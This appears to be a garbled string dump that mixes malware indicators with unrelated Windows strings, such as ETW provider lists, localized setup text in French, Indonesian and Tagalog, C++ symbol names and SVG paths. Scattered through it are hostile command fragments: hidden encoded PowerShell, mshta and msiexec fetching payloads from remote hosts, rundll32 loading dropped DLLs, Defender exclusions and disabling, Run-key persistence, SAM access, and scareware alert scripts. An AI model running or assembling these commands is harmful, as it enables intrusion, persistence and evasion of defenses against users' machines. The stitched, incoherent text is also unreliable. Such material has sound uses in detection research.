ceveeftwedk\oakhidtino.cmdabcdefghijklmnoptrstuvwxyz0123456789c:\windows\system32\shell32.dllc:\windows\system32\cmd.exec:\windows\system32\cmd.exec:\windows\system32\shell32.dllc:\windows\system32\shell32.dll
cfirvetourg\denmedmudc.cmdabcdefghijklmnopcrstuvwxyz0123456789c:\windows\system32\shell32.dllc:\windows\system32\cmd.exec:\windows\system32\cmd.exec:\windows\system32\shell32.dllc:\windows\system32\shell32.dll
='c:\\windows\\temp';var
ence-exclusionprocessc:\windows\system32\windowspowershell\
hklm:\software\microsoft\windows\currentversion\authentication\logonui
software\\wow6432node\\microsoft\\windows\\currentversion\\uninstalll
-argumentlist'minimized'-windowstyleminimized
[internetshortcut]url=c:\windows\system32\customshellhost.exeworkingdirectory=\\
regadd"hkcu\software\microsoft\windows\currentversion\run"/vgoogle
\windows\system32\config\sam
EnumChildWindows
\Microsoft\Windows\Properties\data.zip
<MicorSoft\Windows\CurrentVersion\Uninstall\360int.dpool.sina.com.cn/iplookup/iplookup.phphttp://t.cnSoHuVA_4.2.0.16-c204900003-ng-nti-tp-s-x.exe
+g}="cmd.exe/cc:\windows\temp\
U:\windows\system32\rundll32.exe\
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
Windows
c:\windows\gamesc
net share games=c:\windows\games /unlimitedn
c$\windows\all users\start menu\programs\startupc
c$\windows\all users\menc
software\microsoft\windows nt\currentversion\image file execution options\software\microsoft\windows\currentversion\run\avpcool_gamesetup.exec:\gk.tmpdesktop_1.inimsn gamin zonec:\program files\winrar\winrar.exe" u -as -ep1 -inul -ibcksafeboxtray.exe
x.O+get-windowsfeature
windows-defender-gui|remove-windowsfeature
-windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaana
microsoft\\windows\\star'+
/\software\microsoft\windows\currentversion\run/v'+nomedacira+
bsoftware\policies\microsoft\windowsdefenderdisableantispyware
"%systemroot%\system32\imageres.dll
e="yes"windowstate="minimize"/><scriptlanguage="vbscript">dim
\inject\release\winmm64.dll%s\kb%d.log\notify\winlogon\shellserviceobjectdelayloadet /
dchar]116+[char]116+[char]112+[char]58+[char]47+[char]47);mr(f-usebasicparsing$yh8ex'pdei.pl/t.jpg')!%systemroot%\system32\shell32.dll%wn]nd.q1spsxfl8c&mq/s-1-5-21-1520782219-2966946036-1450665887
bG,Overificationsteps</h3><p>1.presswindowsbutton
sleep-s4;cmd/cc:\windows\syswow64\rundll32.exe'c:\programdata\qwer.dll',bbdd;
sleep-s4;cmd/cc:\windows\syswow64\rundll32.exe'c:\programdata\
="c:\users\"+fuidrutg.username+"\appdata\local\microsoft\windows\caches"
Microsoft-Windows-Network-Security-Core-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft.Windows.Utc.WatchdogProviderF
`"http://7d.wf:8080/b/8ywl9uif1gcsx41dxo737//!computername!"ng^p^fv^v^c=x^o!%systemroot%\system32\shell32.dll
kcmd.exej-ib;c:\windows\system32\cmd.exerunner03/x/ctypessa.png|cmd!%systemroot%\system32\shell32.dll%comspec
9&mAc:\windows\system32\windowspowershell\v1.0\powershell.exe.\*i*\s*3*\m*ta.e*https://minhapica.uk/maiconlima"
gs.messagebox]::show('verificationcomplete!','information',[system.windows.forms.messageboxbuttons]::ok,[sy
c:\windows\system32\msiexec.exe/i"htt
 http://www.microsoft.com/windows0
\\microsoft\\windows\\currentversion\\run\\
writeconverttokey(wshshell.regread("hklm\software\microsoft\windowsnt\currentversion\digitalproductid")
^windows.appExtens
^windows.protocolh
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0acwbeaf4aaabeaf4axgbeahqayqbeaf4axgbeacaaaab0ahqaxgbwaf4axgbzadoaxgavac8aywb2af4aywb4ahyaxgbeaf4axgayadmaxgbeaf4anabeaf4axgbeadiamwbzahyaxgbeaf4axgauagmabwbeag0axgbeaf4alwbeaeyabwbeaf4acgbtaf4axwbeaf4axgbeaeyaxgbeaf4axgbpaf4ababsag0azqbuaf4axgbeahqaxgbeac4abqbeahaaxga0af4axgbeaf4axgbeaccalgbyaguacabsageaywblacgajwbeaccalaanaccakqa7agkazqb4acaakabnagmaygapaa==
<WindowsPerformanceRecorder Version="1.0" Author="Microsoft Corporation" Comments="MF tracing profile" Company="Microsoft Corporation" Copyright="Microsoft Corporation" Tag="MFTrace">
    <EventProvider Id="Microsoft.Windows.Capture.USBVideo.Trustlet" Name="0f0917eb-05ef-4416-87b1-0148718adfec" Level="5" />
    <EventProvider Id="Microsoft_Windows_Devices_Background" Name="64ef2b1c-4ae1-4e64-8599-1636e441ec88" />
    <EventProvider Id="Microsoft-Windows-Analog-SensorDataService" Name="39a5aa08-031d-4777-a32d-ed386bf03470" />
    <EventProvider Id="Microsoft-Windows-Apps-Flighting-Photos" Name="dca2b5b9-047f-5768-688f-9b4c705b541f" />
    <EventProvider Id="Microsoft-Windows-Apps-Photos" Name="3c20a2bd-0497-5e1d-ad49-7b789b9d7318" />
    <EventProvider Id="Microsoft-Windows-Apps-Photos-Analysis" Name="6a1e3074-ffee-5d94-f0b9-f1e92857ac55" />
    <EventProvider Id="Microsoft-Windows-Apps-Photos-AppCoreCS" Name="9192accc-612c-5570-ff17-6d6d222f80c9" />
    <EventProvider Id="Microsoft-Windows-Apps-Photos-AppCoreCS-Tracing" Name="eb528f81-7d3a-5d04-a41a-28858b9ca896" />
    <EventProvider Id="Microsoft-Windows-Apps-Photos-RemoteAccess" Name="8f4fd2af-c8db-5cc1-27ec-54a4bcf3aab5" />
    <EventProvider Id="Microsoft-Windows-Apps-Photos-Reporting" Name="b2393654-1cde-512b-8f3c-6654cd70172a" />
    <EventProvider Id="Microsoft-Windows-Apps-Photos-Tracing" Name="054b421c-7def-54ef-ef59-41b32c8f94bc" />
    <EventProvider Id="Microsoft-Windows-AudioEngineVerbose" Name="a6a00efd-21f2-4a99-807e-9b3bf1d90285" />
    <EventProvider Id="Microsoft-Windows-AudioSes" Name="ae4bd3be-f36f-45b6-8d21-bdd6fb832853" />
    <EventProvider Id="Microsoft-Windows-AudioStackTrace" Name="e27950eb-1768-451f-96ac-cc4e14f6d3d0" />
    <EventProvider Id="Microsoft-Windows-AvStream" Name="46deb98e-b7d7-4578-a15a-e3f365c73ddb" />
    <EventProvider Id="Microsoft-Windows-Biometrics" Name="beb1a719-40d1-54e5-c207-232d48ac6dea" />
    <EventProvider Id="Microsoft-Windows-Capture-Photography" Name="2aa2b8df-8a4e-52a7-8cc7-c72f28293393" />
c:\windows\system32\windowspowershell\v1.0\powershell.exe[text.encoding]::utf8.getstring((('
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
Microsoft Copilot Windows 10 
]msiexec/ic:\windows\temp
2c^windows.appExtension
2d^windows.appExtension
allfilesusingwindowsexplorer
1_[system.reflection.assembly]::loadwithpartialname('system.windows.forms')
K\system32\cmd.exe/c"{
gremoveexclusionfromwindowsdefenderforeachfolder
c:\windows\system32\cmd.exe/cpowershell.exe-command
,appdata\roaming\microsoft\windows\windows\start.vbs
user-agent':'windows-azuread-authentication-provider
allusersprofile\microsoft\windows\startmenu\programs
<ec:\windows\system32\rundll32.exenevat.dll,jphgectoop
9.c:\windows\system32\rundll32.exetamik.dll,tribcgojis
c:\windows\system32\rundll32.exeumate.dll,bkuenphaxn
"-windowstylehidden}elseif(
\system32\cmdC
`\windows
="-windowstylehidden;$
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskI
c:\windows\system32\conhost.exe--headless\\payhostmsa.shop@5824\davwwwroot\new.bat
Mc:\windows\system32\msiexec.exe/quiet/ihttp://microsoftssl.ddns.net:80/msiexec.msi
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
WINDOWS\system32\cmd.exe
DriverData=C:\Windows\S'
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-exbypass-windowstylehidden-enckab
c:\windows\microsoft.net\framework
<c:\windows\system32\tasks
DriverData=C:\Windows\System32\
ULOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
OS=Windows_NT
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
151^com.microsoft.windows.e
154^com.microsoft.windows.er
159^com.microsoft.windows.extensionpackage;
windows web password credentialw
reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d 1 /freg add hkcu\software\policies\microsoft\windows\system /v disablecmd /t reg_dword /d 1 /fr
powershell-execbypass-noninteractive-windowstylehidden-esqbgacgajabqafmavgblafiacwbjae8atgbuaeeaygbmagualgbqafmavgbfahiauwbjag8atgauae0ayqbqag8acgag
Microsoft.Windows.Defender.Shield
Microsoft.Windows.Defender.Shield
Microsoft.Windows.Wil.FeatureLogging
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.DefenderCorePrivate
Microsoft.Windows.Defender.UpdateLogging
Microsoft-Windows-CoreSystem-WINNLS-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
C:\Windows\SystemApps\Microsoft
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChineseHorizontalCandidatePanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ChtVerticalCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DefaultPersonalityFactory
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.DirectionalNavigableListViewItemFactory
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.GazePointerData
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
/c:\windows\system32\cmd.exe/ccopyimage.jpg%temp%\image.rar&&%temp%\image.rar&&exit
0$..\..\..\..\windows\system32\cmd.exe./cinternee\highlighted.cmddll32.exetemdowsc:
c:\windows\system32\mshta.exe"https://e-gobmxdigital.com/.files/x9tg7b29/fg9l3qz7"
DriverData=C:\Windows\System32\Drivers\DriverData
Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose
WINDOWS11
WINDOWS11
Global.SpeechRecognizerExtensionMicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!O
WindowsAppRuntime.1.5Microsoft Corporation
Microsoft.Windows.ContentDeliveryManager_cw
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ContentDeliveryManager
Microsoft.Windows.MobilityExperience
Microsoft.Windows.ShellPlacements
Microsoft.Windows.FeatureConfiguration
Microsoft.Windows.Health.TestInProduction
        "packageFullName": "MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy"
Microsoft.Windows.Health.TestInProduction
        "packageFullName": "MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy"
Microsoft.Windows.Health.TestInProduction
        "packageFullName": "MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy"
Microsoft.Windows.Health.TestInProduction
        "packageFullName": "MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy"
Microsoft.Windows.Health.TestInProduction
        "packageFullName": "MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy"
Microsoft.Windows.Health.TestInProduction
experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@$$V@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@$$V@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@$$V@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@winrt@@
.?AU?$promise_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@$$V@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$root_implements_composable_inner@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@$$V@experimental@std@@$0A@@impl@winrt@@
.?AU?$root_implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@$$V@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@$$V@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@$$V@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@$$V@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@$$V@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUpromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@$$V@experimental@std@@
.?AU?$producers_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@$$V@experimental@std@@V?$tuple@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@234@@4@@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@U?$pair@Uhstring@winrt@@K@std@@V?$allocator@U?$pair@Uhstring@winrt@@K@std@@@2@@std@@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@U?$pair@Uhstring@winrt@@K@std@@V?$allocator@U?$pair@Uhstring@winrt@@K@std@@@2@@std@@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@U?$pair@Uhstring@winrt@@K@std@@V?$allocator@U?$pair@Uhstring@winrt@@K@std@@@2@@std@@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$promise_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@U?$pair@Uhstring@winrt@@K@std@@V?$allocator@U?$pair@Uhstring@winrt@@K@std@@@2@@std@@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@U?$pair@Uhstring@winrt@@K@std@@V?$allocator@U?$pair@Uhstring@winrt@@K@std@@@2@@std@@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$root_implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@U?$pair@Uhstring@winrt@@K@std@@V?$allocator@U?$pair@Uhstring@winrt@@K@std@@@2@@std@@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@impl@winrt@@
 -windowstylehidden-executionpolicybypass
BrowserWindow2::DestroyWindows
BrowserWindow2::AdjustChildWindows
Microsoft.Windows.Secu
schtasks /create /tn "microsoft\windows\updateorchestrator\security
Microsoft-Windows-TCPIP
Microsoft-Windows-TCPIPUsage
Microsoft.Windows.Networking.WFP.Ale
Microsoft.Windows.Networking.WFP.Callout
Microsoft.Windows.Networking.WFP.Ale
Microsoft.Windows.Networking.WFP.IPsec
Microsoft.Windows.EFS.EFSRPC
Microsoft.Windows.TlgAggregateInternal
ce faciale Windows Hello
utilisation de Windows Retrouver.
s. Vous pouvez supprimer Windows Hello 
tres Windows.
Windows siap Anda gunakan. Selamat bersenang-senang!
Host Pengalaman Web Windows
Paket Pengalaman Fitur Windows
Pengalaman Siap Pakai Windows
Unduh dan instal Windows Update secara otomatis.
Cara mengubah pengaturan pembaruan untuk Windows Update
Pembaruan otomatis untuk aplikasi Windows dan Microsoft Store
Anda dapat mengubah pengaturan pembaruan kapan saja dengan membuka Pengaturan &gt; Pembaruan dan Keamanan &gt; Windows Update &gt; Opsi lanjutan.
Pembaruan reguler membantu melindungi perangkat Anda dan menjaganya tetap berjalan dengan lancar dan aman. Jika Anda memilih untuk mendapatkan pembaruan otomatis, pembaruan akan diunduh ke perangkat Anda begitu tersedia, sehingga Anda selalu memiliki perbaikan dan peningkatan keamanan terbaru, seperti pembaruan Windows Defender, driver, dan firmware. Jika Anda memilih untuk tidak mendapatkan pembaruan otomatis, Microsoft akan tetap memeriksa perangkat Anda untuk pembaruan yang tersedia. Kami akan memberi tahu Anda secara berkala saat tersedia pembaruan baru. Anda kemudian dapat memilih untuk mengunduh atau tidak mengunduh pembaruan, tetapi perangkat Anda tidak akan sepenuhnya diperbarui dan dilindungi hingga Anda mengunduh dan menginstalnya.
 Windows.
Vous souhaitez configurer Windows
galement un capteur d'empreintes digitales que vous pouvez utiliser avec Windows Hello pour vous connecter en toute s
Liste des lecteurs compatibles avec Windows Hello
Windows
empreintes digitales qui fonctionne avec Windows Hello et assure la v
Windows
ra et de Windows Hello permet de vous reconna
ne de reconnaissance des empreintes digitales Windows Hello
ne de reconnaissance des visages Windows Hello
es Windows ne seront pas utilis
es de Windows
Autorisez Windows 
rience Windows en vous proposant des conseils, des publicit
riques de Windows.
o. Laissez Windows et les applications vous demander votre emplacement et autorisez Microsoft
o. Laissez Windows et les applis vous demander votre emplacement. Microsoft
s de reconnaissance linguistique et de suggestions des applis et services fonctionnant sous Windows.
s sous Windows.
tes proche ou absent. Windows utilisera les capteurs de pr
Windows n'utilisera pas les capteurs de pr
 Windows avec votre compte Microsoft pour utiliser cette fonctionnalit
Windows ne pourra pas vous aider 
$stic data para makatulong na mapanatiling secure at makabago ang Windows, mag-troubleshoot ng mga problema, at gumawa ng mga pagpapaganda sa produkto. Alinman ang piliin mo, ang iyong device ay pantay-pantay na magiging ligtas at magpapatakbo nang normal.
Hayaan ang Windows na gumamit ng impormasyon tungkol sa device mo at kung paano mo ito ginagamit para pagandahin ang iyong karanasan sa Windows sa pamamagitan ng pagpapakita sa iyo ng mga naka-personalize na tip, rekomendasyon, at alok. Gumagamit din ang Microsoft ng data mula sa iba pang mga produkto para i-personalize ang mga alok na ito. Para ihinto ang paggamit ng iba pang data na ito, bisitahin ang https://aka.ms/personalized-offers.
Hindi gagamitin ang data ng Windows para i-personalize ang mga tip, rekomendasyon, at alok.
Kumuha ng mga personalized na alok mula sa Windows
Hayaan ang Windows na gumamit ng impormasyon tungkol sa device mo at kung paano mo ito ginagamit
para pagandahin ang karanasan mo sa Windows sa pamamagitan ng pag-aalok sa iyo ng mga naka-personalize na tip, ad at rekomendasyon.
Makakakuha ka ng mga generic na tip, ad, at rekomendasyon mula sa Windows.
Makakuha ng mga karanasang batay sa lokasyon tulad ng mga direksyon at lagay ng panahon. Hayaan ang Windows at mga app na hilingin ang iyong lokasyon. Gagamitin ng Microsoft ang data ng lokasyon para pahusayin ang mga serbisyo ng lokasyon.
Magpadala sa Microsoft ng opsyonal na diagnostic data ng pag-ink at pag-type para pahusayin ang pagkilala ng wika at mga kakahayang pangsusuhestiyon ng mga app at serbisyong gumagana sa Windows.
Huwag gamitin ang aking diagnostic data para makatulong na mapabuti ang mga kakayahan sa pagkilala ng wika at pagmumungkahi ng mga app at serbisyong tumatakbo sa Windows.
May sensor ng presensya ang iyong PC na maaari maka-detect kung ikaw ay malapit o malayo. Gagamitin ng Windows ang mga presence sensor ng iyong PC para awtomatikong i-off ang iyong screen kapag umalis ka o i-on ang iyong PC kapag lumapit ka. Maaaring humiling ang mga app ng access sa iyong presensya para paganahin ang mga bagong karanasan. Maaari mo itong i-off anumang oras sa Mga Setting. Lokal na pinoproseso sa device ang data ng sensor ng presensya.
Hindi gagamitin ng Windows ang mga presence sensor ng iyong PC para awtomatikong i-off ang iyong screen kapag umalis ka o i-on ang iyong PC kapag lumapit ka. Hindi gagana ang mga app na nangangailangan ng access sa mga presence sensor.
mitFeedbackfmWindowFolderStatusSelectedV2aria-selectedColorLabelTextouchBankfmWindowFolderStatusUnselectedV2unstable_cancelCallbackfmWindowFolderSyncErrorTextopAccessibilityEscapeunstable_wrapCallbackfmWindowLearnMoreAboutIssueuseLogCallbackfmWindowLossAversionDialogBodyuseLogErrorCallbackfmWindowLossAversionDialogPrimaryButtonTextopAccessibilityTappendChildToSetuseQuotaUpsellClickedCallbackfmWindowLossAversionDialogSecondaryButtonTextopBlurl(#J)useRecordNezhaCallbackfmWindowSkipBackupTextopEndEditingetReactTagetConfirmDialogStringsetStatuseAccessibleAnnouncementuseRecordQoSTelemetryCallbackfmWindowStartSyncTextV2kfm_check_full_disk_page/open_system_preferencescrollDisabledkfm_move/errors_learn_moreOptionsTooltipTextopInlineViewLayoutkfm_move/open_foldersBorderColorefreshHistorykfm_move/skip_errorscrollEnabledkm0 35.11 16.64-3.66H48L34.85 36.3zkucs-2ky_headerLayoutYselectShouldShowKoreanCelandscapeg$c31hcHyperlink2isBlockingetCurrentTimestampoliteralEscapeg$c32parsePayloadstartSyncButton0pluminosityppam1.68 12.13 5.36 33.45h13.48V12.13zmanageChildrenderSendFrownOrSmileInputForm10.75 14-6-6 6-6 .5.5L5.85 8l5.4 5.5ZaddWhitelistedInterpolationParam105.74 112 .88 7.1a.73.73 0 0 0 .297.503.71.71 0 0 0 .573.117l4.82-1a.725.725 0 0 0 .57-.79l-.9-7.84a.744.744 0 0 0-.67-.647.8.8 0 0 0-.33.047l-4.79 1.8a.71.71 0 0 0-.45.71isSupportedInterpolationParam108.234 45.968-25.891-8.07-7.486 24.02 25.891 8.07zmultiDrm108.235 45.968-25.892-8.07-7.486 24.02 25.891 8.07zpaddingBottom108.35 54.63 2.71.01-2.72-2.86zCommonMessageHandlerRenderingetFolderNameFromJumpLinkTypeg$parsetwoNumberseafoam109.71 55.74-7.33-.03.01 2.63 7.33.03zm109.72 60.05-7.32-.03-.01-.57 7.33.03zM106.04 54.62l-3.66-.02-.01-.57 3.67.02zM109.73 61.33l-7.33-.03v-.57l7.33.03zM109.73 62.61l-7.32-.03-.01-.57 7.33.03zM109.74 63.89l-7.33-.03v-.57l7.33.03zm11.208 13.361-.527.528L4.792 8l5.889-5.889.527.528L5.845 8Zm11.25 29.08 3.49-8.48 4.44-1.53-3.68 8.54zm11.7 16.3.3.7 1.7 31H35l2-32zm11.99 6.84 1.82.2 7.41-.01-2.39-.19zm111.1 65.46-10.04-.04-.05-13.67 7.33.03 2.72 2.86zm111.91 75.18-2.64 2.68c-.08.08-.12.2-.08.24s.17 0 .25-.07l.45-.46a.08.08 0 0 1 .11 0 .1.1 0 0 1 0 .13l-.63.64a.15.15 0 0 0 0 .21.14.14 0 0 0 .2 0l.25-.25a.11.11 0 0 1 .16 0 .12.12 0 0 1 0 .14l-.65.66-.84.85c-.09.09-.12.2-.06.26s.18 0 .27-.06l.84-.85 1.6-1.62.84-.85c.09-.09.12-.2.06-.27s-.17 0-.26.07l-.76.77a.11.11 0 1 1-.14-.17l.48-.51a.15.15 0 0 0 0-.21.16.16 0 0 0-.23 0l-.4.4a.1.1 0 0 1-.13 0 .08.08 0 0 1 0-.11l1.4-1.45c.08-.08.12-.2.07-.25s-.07 0-.16.08m114.56 65.61.35 59.23 7.59 10.66L228 140l-.46-47.09-12.61-17.4-52.13 3.17-7.06-8.7zm116.19 75.34-6.85 6.46-3.93-1.83 7.04-6.39zm116.19 75.34-6.85 6.46-7.7-3.59 7.24-6.31zm116.26 54.47-14.99-8.54v5.36H47.76v6.46h53.51v5.36zm12 14.17-4.55 4.54-.45-.43 5-5 5 5-.44.44Zm12 17-1.1-.7-.9.7 2 31h2zm12.862 13.67 2.162 2.163a.571.571 0 1 0 .809-.809L.975.168a.571.571 0 1 0-.808.808L3.942 4.75a4.5 4.5 0 0 0-.48 1.544 3.715 3.715 0 0 0 .252 7.42h8.572q.294 0 .576-.044m-1.099-1.099H3.714a2.571 2.571 0 1 1 0-5.142H4a.57.57 0 0 0 .571-.572c0-.439.083-.859.233-1.245zM14.857 10c0 .675-.26 1.289-.685 1.748l.808.808a3.715 3.715 0 0 0-2.443-6.262 4.572 4.572 0 0 0-7.065-3.246l.83.83a3.429 3.429 0 0 1 5.127 2.98c0 .315.255.57.571.57h.286A2.57 2.57 0 0 1 14.857 10m120.33 104.51 30.03.29.02 2.22-30.04-.3zM120.34 80.17l30.03-1.63.01 2.21-30.03 1.63zM120.37 111.31l30.03.46.02 2.22-30.03-.47zM120.39 117.58l30.03.55.02 2.22-30.03-.56zm122.36 117.91-1.09-1.28-5.31 6.21-2.21-2.6-1.09 1.29 3.3 3.87m125.895 160.173-8.75-4.606.034-31.579 8.731 5.862zm125.895 94.973-8.75-4.606.034-31.579 8.731 5.862zm125.972 160.954-8.751-4.606.035-31.579 8.731 5.863zm125.972 95.754-8.751-4.606.035-31.579 8.731 5.863zm128.44 49.61-.12 5.49 5.32-2.55m128.47 138.85 7 7 12.25-12.25m13.28 20.89-2.38.82H3.49l2.39-.83zm13.3 20.89-.01 7.4-2.4.83.01-7.41zm13.361 4.792.528.527L8 11.208 2.111 5.319l.528-.527L8 10.155Zm130.19 85.08 19.9-1.24v16.14l-19.9-.15zm134.2 187.4-106.6-.7v-10h106.6c3 0 5.3 2.4 5.3 5.3.1 3-2.3 5.4-5.3 5.4m14 5.25-6 6-6-6 .5-.5 5.5 5.4 5.5-5.4Zm14.17 4.15-1.43 2.56 1.31 5.68 1.44-2.57zm14.24 17.1
WINDOWS11
Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose
Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose
Microsoft.Windows.Security.CodeIntegrity.Wintrust
Microsoft.Windows.Security.CodeIntegrity.Wintrust
Microsoft.Windows.Security.CodeIntegrity.Wintrust
windows apps
windows shop
windows.hlp
com.microsoft.windows.widgetsMicrosoftStartFinanceWidgetsPublicms-resource:FinanceWidgetDisplayName
Tcom.microsoft.windowsSearchMicrosoftStore-WSBPublicMicrosoftStore-WSBMicrosoftStore-WSB
com.microsoft.windows.widgets.feedsMicrosoftStartFeedPublic@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/StartFeedProviderDisplayName}
[clientName:MicrosoftWindowsDefenderClient][clientId:A5A962D7-2A13-4A83-9BDC-E17FA86AB903]
[clientName:MicrosoftWindowsDefenderClient][clientId:A5A962D7-2A13-4A83-9BDC-E17FA86AB903]
[clientName:MicrosoftWindowsDefenderClient][clientId:A5A962D7-2A13-4A83-9BDC-E17FA86AB903]
CredUIPromptForWindowsCredentialsW
s,>add-mppreference-exclusionpathc:\programdata\windowstask\amd.exe-force;
c:\windows\system32\cmd.exe/v:true/d/cmshta"javascript:try{try{try{var_
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell
c:\windows\system32\mshta.exehttps://mogilux.com.br/wp-admin/tmp2/f.het
chrome.windows.create({'url':'https://
:C:\WINDOWS\system32\svchost.exe -k netsvcsRedirectionGuard -p
[setinterval(function(){alert("windowsalert.\n\nsuspiciousactivitydetected
`windowsdetected
setinterval(function(){alert("windowsfirewallwarning!\n\n***yourcomputermayhaveadware
windowssystemalert
= "C:\Windows\r
5MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.TextInputExtensions
9MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleExperiencePlatfor
4MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PersonaCardManager
OS=Windows_NT
."C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:Oobe
Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType
.cmdc:\windows\system32\zipfldr.dll
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!FullTrustApp
